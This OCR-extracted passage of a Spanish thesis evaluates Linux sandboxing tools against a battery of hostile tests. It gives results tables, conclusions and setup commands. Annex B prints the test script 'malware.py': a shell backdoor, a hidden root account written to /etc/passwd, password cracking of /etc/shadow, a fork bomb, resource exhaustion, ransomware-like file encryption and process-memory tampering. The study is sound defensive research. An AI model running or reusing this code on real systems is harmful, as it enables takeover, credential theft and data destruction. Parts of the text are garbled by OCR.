los existentes anteriormente.

AES_Encrypt

Puede eliminar y crear ficheros en el entorno virtual,
pero estos cambios no se reflejan en el sistema de
ficheros real.

Wabbit_virus

Utiliza los mismos recursos que el resto de los procesos
del equipo, por lo que puede llegar a agotar la CPU y
bloquear el sistema.

6.24 Cuckoo Sandbox

Tabla 4.Resultado de la ejecucion de las pruebas usando Cuckoo Sandbox.

Prueba Descripcion Resultado
Permite la conexidén con el servidor, pero en un entorno
Backdoor ] . ]
virtual, por lo tanto, no obtiene acceso al sistema real.
Permite la modificacion de los ficheros dentro del
Root_file entorno virtual, pero no permite el acceso al sistema de
ficheros del sistema operativo anfitrion.
Joh Obtiene las contrasefias de los usuarios del sistema
ohn .
creado, pero no la del sistema real.
. No elimina ficheros del entorno real, pero si puede
Delete_file

eliminarlos dentro del entorno creado.

Set_false_dns

Puede cambiar el fichero dentro del sistema ficticio, por
lo que al navegar desde este entorno se utiliza el fichero
modificado. Por otra parte, no se puede modificar el
fichero del entorno real.

process

Los procesos existentes en el entorno no pueden acceder
a los del sistema operativo real ni viceversa.

Exhaust_memory

Agota la memoria dedicada del sistema creado, pero no
modifica los del sistema real.

34



Pruebas

Analisis de técnicas de aislamiento de procesos (Sandbox) en Linux

Exhaust_disk

Agota el espacio otorgado al sistema creado, pero no
modifica los del sistema real.

Change_variable

Los procesos existentes en el entorno no pueden acceder
a los del sistema operativo real ni viceversa.

AES_Encrypt

No puede crear o eliminar ficheros del entorno real, pero
si los puede realizar en el entorno ficticio.

Wabbit_virus

Aumenta el uso de la CPU en el sistema creado hasta
provocar su blogueo, aunque no provoca dafios en el
sistema real.

6.25 LXC

Tabla 5. Resultado de la ejecucion de las pruebas usando LXC.

Prueba Descripcion Resultado
Permite la conexidn con el servidor, pero en un entorno
Backdoor ) . .
virtual, por lo tanto, no obtiene acceso al sistema real.
Permite la modificacion de los ficheros dentro del
Root_file entorno virtual, pero no permite el acceso al sistema de
ficheros del sistema operativo anfitrion.
Joh Obtiene las contrasefias de los usuarios del sistema
ohn .
creado, pero no la del sistema real
) No elimina ficheros del entorno real, pero si los modifica
Delete_file

dentro del entorno creado.

Set_false_dns

Modifica el fichero dentro del entorno virtual creado, por
lo tanto, el fichero del sistema real no se ve afectado.

process

Los procesos existentes en el entorno no pueden acceder
a los del sistema operativo real ni viceversa.

Exhaust_memory

No se dedica una memoria definida al entorno creado,
sino que la obtiene a medida que la necesita por lo que
agota la memoria del sistema.

Exhaust_disk

No se dedica un espacio concreto al entorno creado, pues
el sistema de ficheros ficticio se encuentra en el sistema
real, por lo que, si el espacio ocupado por el entorno
aumenta, el espacio del sistema real disminuye.

Change_variable

Los procesos existentes en el entorno no pueden acceder
a los del sistema operativo real ni viceversa.

35



Pruebas

Analisis de técnicas de aislamiento de procesos (Sandbox) en Linux

AES_Encrypt

No puede crear o eliminar ficheros del entorno real, pero
si los puede realizar en el entorno ficticio.

Wabbit_virus

Provoca el blogueo del contenedor, pero no del sistema
real.

6.2.6 Capabilities

Tabla 6. Resultado de la ejecucion de las pruebas usando Capabilities.

Prueba Descripcion Resultado
La herramienta permite la prohibicion del uso de la red
Backdoor
por parte del proceso.
Se puede modificar debido a que las pruebas son
i ejecutadas como superusuario, y el fichero a modificar
Root_file . . . X
pertenece a dicho usuario, por lo que posee permisos
para modificarlo.
No se permite la obtencion de contrasefias debido a que
John no se puede ejecutar porque no puede acceder a
determinados ficheros necesarios para su ejecucion.
No borra ningun fichero debido a que se deshabilita la
Delete_file posibilidad de que el superusuario pueda acceder a todos

los ficheros, aunque no sea propietario del fichero.

Set_false_dns

Se puede modificar debido a que las pruebas son
ejecutadas como superusuario, y el fichero a modificar
pertenece a dicho usuario, por lo que posee permisos
para modificarlo.

process

Bloquea la interrupcion de procesos que estan siendo
ejecutados en el sistema por otros usuarios del sistema.
Si pertenece al mismo usuario que ejecuta el codigo
malicioso si puede interrumpirlo.

Exhaust_memory

No existe ninguna opcion que permita limitar el uso de
memoria del sistema, por lo que el codigo puede
ocuparla hasta agotarla.

Exhaust_disk

No existe ninguna opcion que permita limitar el uso de
espacio del disco, por lo que el programa puede llenarlo
hasta agotarlo.
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Change_variable

Bloquea la modificacion de procesos que estan siendo
ejecutados en el sistema por otros usuarios del sistema.
Si pertenece al mismo usuario que ejecuta el codigo
malicioso si puede interrumpirlo.

AES_Encrypt

No borra ningun fichero debido a que se deshabilita la
posibilidad de que el superusuario pueda acceder a todos
los ficheros.

Utiliza los mismos recursos que el resto de los procesos

Wabbit_virus | del equipo, por lo que puede llegar a agotar la CPU y X
bloquear el sistema.
6.2.7 SELinux
Tabla 7 . Resultado de la ejecucion de las pruebas usando SELinux.
Prueba Descripcion Resultado
La herramienta permite determinar los puertos que se
Backdoor pueden usar, por lo que se puede restringir la conexion
con la red.
Root file Se crea un entorno completamente distinto, prohibiendo
- incluso acceder a la lista de ficheros del directorio.
No se permite la obtencion de contrasefias debido a que
John al crear el entorno virtual no se encuentran las
dependencias de la aplicacion.
Delete_file No se tienen los permisos necesarios para poder llevar a

cabo el borrado de ficheros dentro del entorno creado.

Set_false_dns

En el sistema de directorios creado no se encuentra el
fichero.

process

Impide visualizar los procesos existentes en el sistema,
por lo que no se pueden interrumpir, aunque si se pueden
crear.

Exhaust_memory

No se proporciona la posibilidad de limitar el uso de la
memoria, por lo que agota la memoria del sistema real.

Exhaust_disk

No existe ninguna opcion que permita limitar el uso de
espacio del disco, por lo que el programa puede llenarlo
hasta agotarlo.
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Change_variable

Impide visualizar los procesos existentes en el sistema,
por lo que no se facilita la posibilidad de modificar un
proceso existente en el sistema real.

AES_Encrypt

Se crea un entorno completamente distinto, prohibiendo
cualquier accién con los ficheros.

Wabbit_virus

No limita la CPU que pueden utilizar los procesos dentro
del entorno virtual, por lo que provoca el bloqueo del
equipo.

6.2.8 AppArmor

Tabla 8. Resultado de la ejecucion de las pruebas usando AppArmor.

Prueba Descripcion Resultado
Bloquea el acceso a los ficheros del sistema, por lo que
bloquea la descarga del fichero, asi como la ejecucion de

Backdoor _ _
un Shell para que el servidor ejecute comandos
remotamente.
_ Deshabilita la modificacion de los ficheros del sistema
Root file
por parte de la prueba.
Deshabilita el acceso a los ficheros del sistema por lo que
John no puede obtener los ficheros necesarios para conseguir
las contrasefias.
) Prohibe la eliminacion de los ficheros del sistema por
Delete_file

parte de la prueba.

Set_false_dns

Deshabilita la modificacion de los ficheros del sistema

process

Prohibe tanto la creacion de procesos como el acceso a
otros procesos del sistema.

Exhaust_memory

Deshabilitado el acceso a la informacion de la memoria

Exhaust_disk

Deshabilita la posibilidad de creacion de ficheros en el
sistema.

Change_variable

Impide el acceso a otros procesos del sistema.

AES_Encrypt

Deshabilita la creacion y eliminacion de los ficheros del
sistema por parte de la prueba.

Wabbit_virus

No limita el nimero de procesos que puede crear la
prueba y llega a bloguear el equipo.
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6.3 Interpretacion de los resultados

Tras la realizacion de las pruebas y el posterior analisis de los resultados obtenidos se pueden obtener

una serie de conclusiones explicadas seguidamente.

En cuanto a la instalacion de las herramientas en el equipo, es importante recalcar que existen varias
herramientas que se encuentran instaladas en el nticleo de Linux, aunque para su uso y configuracion
requieren de la instalacion de paquetes, de los que carece el sistema operativo usado. Estas aplicaciones
son AppArmor, Cgroups y SELinux. Por otra parte, se han estudiado herramientas que no requieren
de ninguna instalaciéon como Chroot y las “Capabilities” de Linux. También citar que, aunque Firejail

no se encuentra instalada en el sistema por defecto, posee una instalacion muy sencilla.

En cuanto a la configuracion de las herramientas cabe destacar varias de ellas, pues poseen una
configuracion muy sencilla y cuyas opciones se encuentran bien documentadas. La primera de ella es
Firejail, cuya configuracion es casi nula y que se basa en el uso de opciones cuando es ejecutada,
existiendo la posibilidad de usarla mediante una interfaz de usuario. Las “Capabilities” de Linux
conlleva una nula instalacién, pues se encuentra implementadas en el ntcleo de Linux y cuya
configuracion reside en la eleccion de las capacidades a permitir o prohibir durante la ejecucion de un
proceso. Por otro lado, se encuentra la herramienta Cuckoo Sandbox cuya configuracion es compleja
debido a la necesidad de instalar otros programas para su posible ejecucion, ademas de su
configuracion. Esta herramienta requiere de la instalacion de un software de virtualizacion, VirtualBox

en este caso, para la ejecucion de Cuckoo Sandbox en é€l.

En funcion de los pruebas realizadas se debe recalcar los buenos resultados obtenidos por la
herramienta Cuckoo Sandbox, debido al uso de maquinas virtuales para su ejecucion. Ademas,
mediante el uso de esta herramienta se puede obtener un analisis de las actividades realizadas por las
pruebas. También se han obtenido buenos resultados por parte de LXC, que a diferencia de Cuckoo
Sandbox no consigue proteger al equipo anfitrion ante el agotamiento de memoria y espacio de disco.
AppArmor, cuya arquitectura esta basada en reglas, obtiene mejores resultados que LXC, y posee la

ventaja de que no se requiere la creacion de un Sandbox basado en aislamiento.

Los Sandbox basados en aislamiento requieren de una gran cantidad de espacio para poder crear las
diferentes maquinas virtuales y contenedores, mientras que para los Sandbox basados en reglas no es
necesario, aunque por el contrario sus resultados no son tan buenos. Hay que recalcar que, dentro de
los Sandbox basados en aislamiento, se encuentra la herramienta Chroot, la cual no da tan buenos

resultados como Firejail, LXC o Cuckoo Sandbox.

Finalmente, hay que mencionar que existen herramientas que se apoyan en otras para aumentar la
seguridad que ofrecen. Este es el caso de Firejail que usa Seccomp o las “Capabilities”, o LXC, que
se apoya en Cgroups para limitar diferentes parametros como la memoria o el espacio de disco usado

por los contenedores.
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7 CONCLUSIONES Y TRABAJO FUTURO

lo largo de este capitulo se trata de comentar las conclusiones obtenidas tras la realizacion de
este trabajo fin de grado, asi como la definicion de futuras lineas de trabajo para la ampliacion

de los conocimientos expuestos.

Hoy en dia, la seguridad informatica es uno de los principales problemas a los que se enfrenta tanto las
empresas como la sociedad. Nos encontramos en una época en la que los sistemas informaticos se
encuentran presentes en cualquier parte y que son necesarios para la realizacion de cualquier tarea de

la vida cotidiana.

Esta dependencia hace que actualmente la ciberseguridad sea un tema que preocupe a toda la sociedad,
pues todos usamos diariamente sistemas electronicos, ya sea para trabajar o para nuestra vida social.
La gran cantidad y variedad de equipos informaticos provoca que existan grandes cantidades de puntos

vulnerables, que necesitan ser erradicados para asi proteger toda la informacion que almacenan.

Existen multitudes de métodos usados por las ciberdelincuentes con tal de aprovechar las
vulnerabilidades de los sistemas. Como se ha visto anteriormente, una de las formas de evadir la
seguridad de los sistemas es la ejecucion de programas maliciosos que tratan de aprovechar
vulnerabilidades existentes en los sistemas operativos. Estos programas pueden llegar a nosotros de

numerosas formas, como a través de correos electronicos o tras la descarga de ficheros de la red.

Tradicionalmente, las tecnologias de seguridad de los sistemas operativos y antivirus no eran capaces
de proteger el sistema operativo ni los procesos tras la ejecucion de programas maliciosos, y es por
ello, donde radica la importancia de los Sandbox. La tecnologia estudiada y desplegada en este trabajo
es un mecanismo de seguridad muy importante, y que otorga un nuevo método de defensa frente a la

ejecucion de malware.

Tras el estudio y despliegue de diferentes herramientas, se puede llegar a la conclusion de que se trata
de un mecanismo importante a la hora de incrementar la defensa del sistema, permitiendo la ejecucion
de programas obtenidos de fuentes inseguras en entornos virtuales, con el fin de que nuestro sistema
no sea dafiado. Tras el estudio de los resultados obtenidos tras la realizacion de las pruebas, se pueden

obtener una serie de conclusiones.

El mejor método para protegernos frente al malware es la utilizacion de alguna herramienta que nos
permita crear un Sandbox basado en aislamiento, debido a que para cada Sandbox desplegado se crea
un entorno virtual que se encuentra completamente aislado del sistema real, por lo que protege el
sistema operativo y los procesos del sistema real. Cuckoo Malware o LXC, son alguna de las

herramientas existentes para llevar a cabo este tipo de Sandbox. Por el contrario, este tipo de solucion
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requiere de una gran cantidad de espacio libre en nuestro sistema con el fin de instalar todos los
recursos necesarios para su ejecucion. Si se carece de espacio, existen funcionalidades que se
encuentran instaladas en el nucleo de Linux y que usualmente se basan en reglas, como AppArmor,

con la cual se han obtenido muy buenos resultados.
En lineas futuras, las posibles mejoras a realizar sobre el trabajo realizado serian:

e Aumento del nimero de herramientas usadas con el fin de obtener una mayor vision sobre las

posibles soluciones de seguridad de esta tecnologia.

e Estudio de herramientas que permiten desplegar esta tecnologia en diferentes sistemas

operativos, como Android o Windows.

e Puesta en practica de las técnicas de deteccion y evasion de Sandbox vistas tedricamente.
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ANEXO A: CONFIGURACION DE LAS
TECNOLOGIAS

La configuracion de las herramientas usadas para otros sistemas operativos basados en el kernel de
Linux es la misma, pudiendo variar los comandos empleados para instalar las herramientas en funcion

del sistema de gestion de paquetes que utilice el sistema.

A lo largo de este Anexo, se explican los comandos utilizados para la instalacion, configuracion y

despliegue de las herramientas.

A. Firejail y seccomp

Para instalar Firejail mediante repositorios se ejecuta el siguiente comando:
S sudo apt install firejail

Para comprobar su instalacion:

$ firecfg -help

Ya se encuentra instalado la herramienta Firejail, mientras que Seccomp viene incorporado con el

nucleo de Linux por lo que no requiere de instalacion.

Para la utilizacion del cddigo malicioso se utiliza el siguiente comando.

S sudo firejail —-name=test —--shell=none --overlay-tmpfs —--noprofile
malware.py

Mediante este se crea una copia del entorno y es sobre ella sobre la que se trabaja, evitando la

modificacion de los ficheros.

Si se afiade el parametro —net=none no se permite el uso de ninguna interfaz de red en el entorno

creado evitando su conexidn con el exterior.

Antes de habilitar el modulo Seccomp, se va a utilizar la herramienta strace [50], la cual nos permite
trazar las llamadas al sistema y sefales realizadas por las pruebas. Para ello, se ejecuta el siguiente
comando, con el que se trazan las llamadas al sistema y sefiales realizadas tras su ejecucion dentro de

la jaula creada por Firejail.

$ strace -cf sudo firejail --overlay-tmpfs --noprofile /home/dit/malware.py
% time seconds usecs/call calls errors syscall

0,00 0,000000 0 15 read

0,00 0,000000 0 4 write

0,00 0,000000 0 17 close

0,00 0,000000 0 10 8 stat
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Para ello se han utilizado las opciones; -f, que permite trazar los procesos hijos; -¢, que cuenta el

numero, llamadas y errores de cada llamada del sistema.

Una vez obtenidas las llamadas del sistema, se puede fijar las llamadas permitidas por el filtro de
Seccomp. Si se ejecuta la opcion --seccomp se habilitarian inicamente las llamadas del sistema
nombradas en el apartado 5.2.1. En este caso se usa la opcidn --seccomp=syscall,(@filter, con la que
se puede fijar las llamadas al sistema prohibidas. Como ejemplo, se usa la opcion —seccomp=read,

para deshabilitar la llamada al sistema read(), con el siguiente comando:

Una vez ejecutado el comando, se produce un fallo, ya que la prueba usa dicha llamada para ejecutarse

correctamente, comprendiendo asi el uso de esta opcion.

B. Chroot

Esta funcionalidad viene instalada ya en el nucleo de Linux y se encuentra en el directorio /sbin/, por

defecto. Inicialmente se crea un directorio para crear en €l un nuevo sistema de ficheros:

Una vez creado el nuevo directorio se procede a usar el comando debootstrap [51] que instala un

sistema Debian dentro de un subdirectorio de otro sistema.

Se establece en el archivo /etc/fstab del sistema principal el montaje del sistema de fichero /proc del

entorno Chroot.
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Para ejecutar el codigo basta con realizar una copia del codigo e instalar sus dependencias.

$ sudo cp malware.py chroot/home/
$ sudo chroot chroot/ /bin/bash
$ sudo python3 home/malware.py

C. Cgroups

Para su utilizacion primero se descargan los siguientes herramientas:
$ sudo apt-get install cgroup-bin cgroup-tools cgroupfs-mount libcgroup-dev

A continuacion, se ejecuta la siguiente serie de comandos, que permite la creacion de un sistema de
ficheros tmpfs de 10M en la carpeta /sys/fs/cgroup. seguidamente se crea un directorio llamado cpuset,
y mediante el siguiente uso del comando mount se crean los subsistemas cpuset, cpu, blkio y memory

en dicha carpeta.

# mount -t tmpfs -o size=10M cgroup root /sys/fs/cgroup
$ mkdir /sys/fs/cgroup/cpu_and mem
# mount -t cgroup -o cpu,cpuset,memory,blkio test /sys/fs/cgroup/cpu and mem

Seguidamente nos desplazamos al directorio creado, y en cada carpeta existente se crea la carpeta test

donde se guardan las caracteristicas de este grupo.

$ cd sys/fs/cgroup/cpu_and mem
$ mkdir test

La configuracion utilizada limita la velocidad de lectura y escritura en el disco, asi como el porcentaje
de uso de la CPU. También, limita la memoria que utiliza. Para configurarlo basta con ejecutar los

siguientes comandos:

cgset -r cpu.shares=250 testl

cgset -r cpu.shares=750 test

cgset -r cpu.cfs quota us=10000 test

cgset -r cpu.cfs period us=100000 test

cgset -r memory.limit in bytes="10k" test

cgset -r memory.memsw.limit in bytes="20k" test

cgset -r blkio.throttle.write bps device="104857" test
cgset -r blkio.throttle.read bps device="104857" test
cgset -r blkio.weight ="500" test

H= FH o e S S

Para ejecutar la bateria de pruebas se ejecuta el siguiente comando, mediante el que se utiliza todas las

limitaciones establecidas en el grupo test.

$ cgexec -g *:test python3 ./malware.py
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D. Cuckoo Sandbox

Para poder instalar Cuckoo Sandbox, inicialmente se requiere la instalacion de las siguientes

dependencias:

Posteriormente, se descarga la imagen que sera utilizada para la creacion de la maquina virtual:

Después, se instala VirtualBox 6.0 que es la herramienta que permite la creacion de maquinas virtuales.

Con los siguientes comandos se procede a instalar Cuckoo, para lo que se usa un entorno aislado de
Python.

Primero, es necesaria la instalacion de la maquina virtual por lo que se ejecuta los siguientes comandos:

Para cargar la configuracion establecida se ejecuta el siguiente comando, obteniendo la configuracion

del directorio por defecto, /home/dit/.cuckoo.

Para afiadir la maquina virtual anteriormente creada e instalar las firmas de Cuckoo se ejecutan los

siguientes comandos:
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$ while read -r vm ip; do cuckoo machine --add $vm $ip; done < <(vmcloak list
vms)

S cuckoo community -force
Para poder establecer conexiones con Internet, se pueden ejecutar los siguientes comandos. Para el

caso estudiado no se configura para evitar conexiones indeseadas con el exterior.

$ sudo sysctl -w net.ipvé4.conf.vboxnet0.forwarding=1

S sudo sysctl -w net.ipvé4.conf.eth(O.forwarding=1

$ sudo iptables -t nat -A POSTROUTING -o ethO -s 192.168.56.0/24 -3
MASQUERADE

$ sudo iptables -P FORWARD DROP

$ sudo iptables -A FORWARD -m state —-- RELATED,ESTABLISHED -7j ACCEPT
$ sudo iptables -A FORWARD -s 192.168.56.0/24 -j ACCEPT

Para ejecutar el codigo malicioso basta con ejecutar el siguiente comando y en los registros de la

herramienta se puede encontrar el analisis del programa.

S python submit.py ./malware.py

E. LXC

Para instalar LXC se ejecuta el siguiente comando:

$ sudo apt-get install 1xc

Para las pruebas realizadas se crea un contenedor con privilegios, lo cual se trata de un contenedor
creado por el usuario raiz y que ejecuta comandos en su interior como el usuario raiz.

$ sudo lxc-create -t download -n privileged-container

Posteriormente se arranca el contenedor, y se conecta a ¢él:

$ sudo lxc-start -n privileged-container
$ sudo lxc-attach -n privileged-container

A continuacion, desde otro terminal se copia el cddigo destinado a la ejecucion de las pruebas al

contenedor creado:
$ sudo cp malware.py /var/lib/lxc/privileged-container/rootfs/home

Para la ejecucion del codigo se requiere la instalacion de las librerias requeridas para su ejecucion y

posteriormente se puede ejecutar la bateria de pruebas, mediante el comando:

$ python3 ./malware.py

F. Capabilities

Esta herramienta viene ya incluida en el nticleo de Linux por lo que se necesita realizar ninguna accion

para su instalacion.

Con la configuracion elegida trata de disminuir el dafo que las pruebas pueden provocar. La

configuracion utilizada para ejecutar las pruebas es la siguiente:
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Ssudo capsh --

drop=cap dac override,cap sys admin,cap fowner,cap ipc lock,cap net bind serv
ice,cap_net raw,cap sys rawio,cap kill --print -- -c "/usr/bin/python3
./malware.py"

Por defecto todas las capacidades estan permitidas para el usuario raiz. Mediante el comando anterior
se remueven las siguientes capacidades: cap dac override, cap sys admin, cap fowner,

cap_ipc_lock, cap _net _bind _service, cap _net raw, cap_sys rawio y cap_kill [46].

G. SELinux

Para instalar las dependencias necesarias para el uso de SELinux se ejecuta el siguiente comando:

S sudo apt install policycoreutils-gui policycoreutils-sandbox selinux-
policy-default selinux auditd selinux-policy-sandbox

Para ejecutar la aplicacion usando dicho Sandbox se utiliza el comando sandbox [52] como sigue a

continuacion:

$ sandbox -t <tipo> ./malware

En funcidn del tipo de Sandbox elegido se establecen unos permisos u otros [53]. También permite el

uso de capacidades para definir las acciones que se pueden realizar.

H. AppArmor

La funcionalidad AppArmor viene instalada en el nicleo de Linux por lo que no requiere de ninguna
instalacion. El soporte de AppArmor estd ya integrado en los nucleos estandar proporcionados por
Debian. Para activar AppArmor basta con instalar algunos paquetes adicionales y establecer algiin

parametro en la linea de 6rdenes del nucleo:

Para activar AppArmor se instalan unos paquetes adicionales, se actualiza el gestor de arranque

multiple y se reinicia el equipo. Para ello. se usan los siguientes comandos:

# apt install apparmor apparmor-profiles apparmor-utils

# perl -pi -e 's,GRUB_CMDLINE LINUX="(.*)"$,GRUB CMDLINE LINUX="S$1 apparmor=1
security=apparmor",' /etc/default/grub

# update-grub

# reboot

Para crear un perfil para la aplicacion se ejecuta el siguiente comando, y en funcion de las acciones
que se pretendan permitir se actila de una forma u otra.
Para iniciar AppArmor y crear un perfil se ejecuta:

# systemctl start apparmor
# aa-genprof ./malware

Se ejecuta el codigo malicioso en otra pestafia y se procede a elegir las acciones que se permitiran en

una nueva ejecucion del codigo. El nuevo perfil se activa una vez se finaliza su creacion.
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ANEXO B: SCRIPT USADOS

A. Malware.py

#!/usr/bin/env python3

#Imports
import socket #Importar socket para utilizar puertos
import subprocess #Necesario para poder abrir un shell

from Crypto.Cipher import AES #Libreria para utilizar cifrado AES
import os

from struct import *

import shutil

from random import *

import psutil

from numpy import *

import sys

import time

from subprocess import Popen, PIPE, STDOUT

#Devuelve un fichero aleatorio
def get random file (PATH) :
print (os.listdir (PATH) )
return random.choice (os.listdir (PATH))

#Funcidén para borrar un fichero aleatorio
def delete file():
try:
PATH="/home/dit/borrar"
fichero = get random file (PATH)
print (fichero)
os.remove (os.path.join (PATH, fichero))
print ("Fichero borrado:", fichero)
except Exception as e:
print ("Error borrando fichero",e)

#Funcidén para cifrar un fichero aleatorio con cifrado AES
def AES encrypt () :
PATH="/home/dit/cifrar/"
Clave = "ClaveDLongitudle" #Clave AES-128
#Vector de inicializacidn
VI = "VectorIniciall23"
aes = AES.new (Clave, AES.MODE CBC, VI)
fichero = get random file (PATH)
with open (fichero + ".aes", 'wb') as fout:
CHUNK SIZE = 1024 #Chunksize-->Maltiplo 16
with open (os.path.join (PATH, fichero)) as fin:
while True:
datos = fin.read (CHUNK SIZE)

n = len (datos)
if n ==
break
elif n $ 16 != 0:
datos += ' ' * (16 - n % 16) # <- Relleno con espacios
para llegar a CHUNK SIZE
datos cif = aes.encrypt (datos)
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print (datos, "xxxxxxx",datos cif)

fout.write (datos cif)
os.remove (os.path.join (PATH, fichero))

#Funcidén que modifica/lee ficheros root (Trata de crear un usuario con
permisos de superusuario)
def root file():

PASSWD = "/etc/passwd"
GROUPS = "/etc/group"
SHADOW = "/etc/shadow"
GSHADOW = "/etc/gshadow"

with open (PASSWD, 'a') as fin:
fin.write ("test root::0:0:Test Root:/home/test:/bin/bash\n")
with open (GROUPS, 'a') as fin:
fin.write("test root::0:\n")
with open (SHADOW, 'a') as fin:
fin.write ("test root:::0:99999:7:::\n")
with open (GSHADOW, 'a') as fin:
fin.write("test root:::\n")

#Ejecutar comando (CMD)
def execute cmd (CMD) :
os.system (CMD)

#Establecemos un DNS falso (Modificacidén de fichero con permisos de
superusuario)
def set false dns():
RESOLV="/etc/resolv.conf"
with open (RESOLV, 'w') as resolv:
resolv.write ("#DNS Publico Google\n")
resolv.write ("nameserver 8.8.8.8\n")

#Funcién que ejecuta una bomba fork
def wabbit virus():

try:
i=0
while True:
os.fork ()
print (psutil.cpu percent ())
if psutil.cpu percent() < 10:
break
except KeyboardInterrupt: #Captura
interrupcién de teclado Ctrl-C(SIGINT)
pass

print ("Fin")

#Creamos 5 procesos y eliminamos uno de ellos aleatoriamente
def process():
for i in range(5): #Lo repite 5 veces
execute cmd("sleep 600 &")

for proc in psutil.process iter():
try:
processName = proc.name ()
processID = proc.pid
if proc.name() == 'sleep':
print (processName, ':::', processID)
except: pass
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time.sleep (5)
for proc in psutil.process iter():

try:
if proc.name () == 'sleep':
if randint(0,1) == 1: #Elimina un proceso de los creados
aleatoriamente
print ("Eliminado:", proc.pid)
proc.kill ()
except Exception as e:
print (e)

#Abrir puertos.

#Servidor esperando conexiones en otro equipo. Cuando se ejecuta, se descarga
un fichero y en el server se abre un shell (Reverse shell)

def backdoor () :

SERVIDOR = '127.0.0.1' #Servidor en el equipo local
PUERTO = 5555 #Puerto escuchando

TAM BUF = 4096

FICHERO = "/home/dit/hola.txt" #42.zip

with socket.socket (socket.AF INET, socket.SOCK STREAM) as SocketServidor:
SocketServidor.setsockopt (socket.SOL SOCKET, socket.SO REUSEADDR, 1)
#Para evitar errores de socket en uso
SocketServidor.connect ( (SERVIDOR, PUERTO) )
print ("Conectado")
try:
with open (FICHERO, 'wb') as fichero:
datos = SocketServidor.recv (TAM BUF)
print (datos)
fichero.write (datos) #Escribimos los datos en
el
except IOError:
print ("Error al abrir el fichero")
else:
print ("Sale")
try:
while True: #Mantenemos un backdoor
command=SocketServidor.recv (TAM BUF) .decode ()
print (command)

if command == 'quit':
SocketServidor.close ()
break

else:

print (command)
popen = Popen (command, shell=True, stdout=PIPE,
stderr=STDOUT, bufsize=1)
lines iterator = iter (popen.stdout.read, b"")
while popen.poll () is None:
for line in lines iterator:
SocketServidor.send (line)
#Enviamos la salida del comando
except Exception as e:
print ("Fallo al abrir shell", e)
print ("Prueba servidor terminada")

#0Obtiene el espacio restante y crea un fichero con ese tamafio
def exhaust disk():

MB = 1024 * 1024

PATH="/tmp/"'

total, used, free = shutil.disk usage('/")

print (total/MB,used/MB, free/MB)
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execute cmd('dd if=/dev/random of=/tmp/file.out iflag=fullblock bs=1M

count='"' + str (int (free/MB)))
#Se puede ir comprobando con el comando df
#Para pararlo Ctrl”C
total, used, free = shutil.disk usage('/'")
print (total/MB, used/MB, free/MB)
os.remove (os.path.join (PATH, 'file.out'))

#Funcidén para ejecutar John The Ripper
def John():

execute cmd ('/sbin/unshadow /etc/passwd /etc/shadow > /tmp/password.db')
#Junta ambos ficheros para gque John pueda trabajar con ellos
execute cmd('/sbin/john /tmp/password.db > out john.txt')

#Encuentra las contrasefas
execute cmd('/sbin/john --show /tmp/password.db

#Funcidén para agotar la memoria

def exhaust memory () :
GB = 1024 * 1024 * 1024
tot = psutil.virtual memory () .total
avail = psutil.virtual memory () .available
percent = psutil.virtual memory () .percent
used= psutil.virtual memory () .used
free = psutil.virtual memory () .free

>> out john.txt')
#--users=root para que muestre solo la contrasefia del usuario root

tot, avail, used, free = tot / GB, avail / GB, used / GB,

print ('Total = %s GB, Disponible = %s GB, Usada

Porcentaje = %s '
% (tot, avail, used, free, percent))
str = "a" * GB * int (free)
try:

while True:
tot = psutil.virtual memory () .total

avail = psutil.virtual memory () .available
percent = psutil.virtual memory () .percent

%$s GB, L

used= psutil.virtual memory () .used

free = psutil.virtual memory () .free

tot, avail, used, free = tot / GB, avail / GB, use
GB

print ('Total = %$s Disponible = %s Usada = %s Libre
Porcentaje = %s'

% (tot, avail, used, free, percent))
time.sleep (1)
except KeyboardInterrupt:

interrupcién de teclado Ctrl-C(SIGINT)
str = ""
print ("Fin")

def change variable (pid) :
read str = "Safe"
write str "Hacked"
heap info = None

try:
with open ("/proc/{}/maps".format (pid), 'r'")
for line in maps file:
if 'heap' in line:
heap info = line.split ()
except IOError as e:

print ("No se puede abrir el fichero /proc/{}/maps:
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return

if heap info is None:
print ('No se encontro la linea heap')

return
addr = heap info[0].split('-') #Guardamos direccién inicio-fin de heap
perms = heap info[1l] #Guardamos permisos

if 'r' not in perms or 'w' not in perms:
print ('No se tiene permiso de escritura y/o lectura')
return
try:
mem file = open("/proc/{}/mem".format (pid), 'rb+")
heap start = int (addr[0], 16)
heap end = int (addr[1l], 16)
mem file.seek (heap start)
heap = mem file.read(heap end - heap start)
str offset = heap.find(bytes(read str, "ASCII"))
except IOError as e:
print ("No se puede abrir el fichero /proc/{}/maps: {}".format (pid,

mem file.close ()
return

if str offset < 0:
print ("No se ha encontrado {} in /proc/{}/mem".format (read str, pid))
return

mem file.seek (heap start + str offset)

mem file.write (bytes(write str + '\0', "ASCII"))

mem file.close ()

def wvariable () :
with open ("pid.txt",'r') as fin:
pid = fin.read () .splitlines|()
#Usar PID del otro script
if pid is None:
print ("No se ha pasado ningtn PID")
else:
change variable (pid[0])

#Funcién que espera a presionar Enter para pasar a la siguiente prueba
def next test (prueba) :

print ("Siguiente fase: " + prueba )

input ("Presiona la tecla <Enter> para continuar...")

#Creamos la funcidén principal que serd la encargada de hacer todas las
pruebas
def main () :

#0Obtenemos el fichero 42.zip del server y creamos una puerta

next test ("Backdoor")

backdoor ()

#Leer archivos root --> Tratar afiadir un usuario con permiso sudo
next test ("Afladir usuarios y modificar permisos")

try:

root file()
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except Exception as e:
print (e)

#Obtener contrasefias con John the Ripper
next test ("John The Ripper")
John ()

#Borrar ficheros/()
next test ("Borrar fichero aleatorio")
try:
delete file()
except Exception as e:
print (e)

#Modificar ficheros del sistema
#Cambiar DNS --> Se puede establecer un DNS falso.
next test ("Establecer DNS falso")
try:
set false dns()
except Exception as e:
print (e)

#Acceder a otros procesos—->Como pararlos por ejemplo o modificarlos
next test ("Crear procesos y eliminar uno de ellos")
process ()

#Consumir memoria
next test ("Agotar memoria del sistema")
exhaust memory ()

#Consumir memoria
next test ("Agotar espacio de disco")
exhaust disk()

#Cambiamos la variable de un proceso

#Ejecutar el script (program.c)

next test ("Ejecuta el programa para el cambio de variable")
#Cambio de variable

next test ("Modificar variable en un proceso")

variable ()

#Ransomware
next test ("Cifrado de fichero")
AES encrypt ()

#Consumir CPU
next test ("Bomba Fork")
wabbit virus ()

#Ejecutamos la funcidén principal
main ()
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B. Server.py

#!/usr/b

#Imports
import s
import s
SERVIDOR
PUERTO =
FICHERO
TAM BUF

try:
with

en el cl
cliente

conexidn

except E
prin

in/env python3
ocket #Importar socket para utilizar puertos
ubprocess #Necesario para poder abrir un shell
= '127.0.0.1" #Servidor en el equipo local
5555 #Puerto escuchando
= "/home/dit/server/prueba.txt"
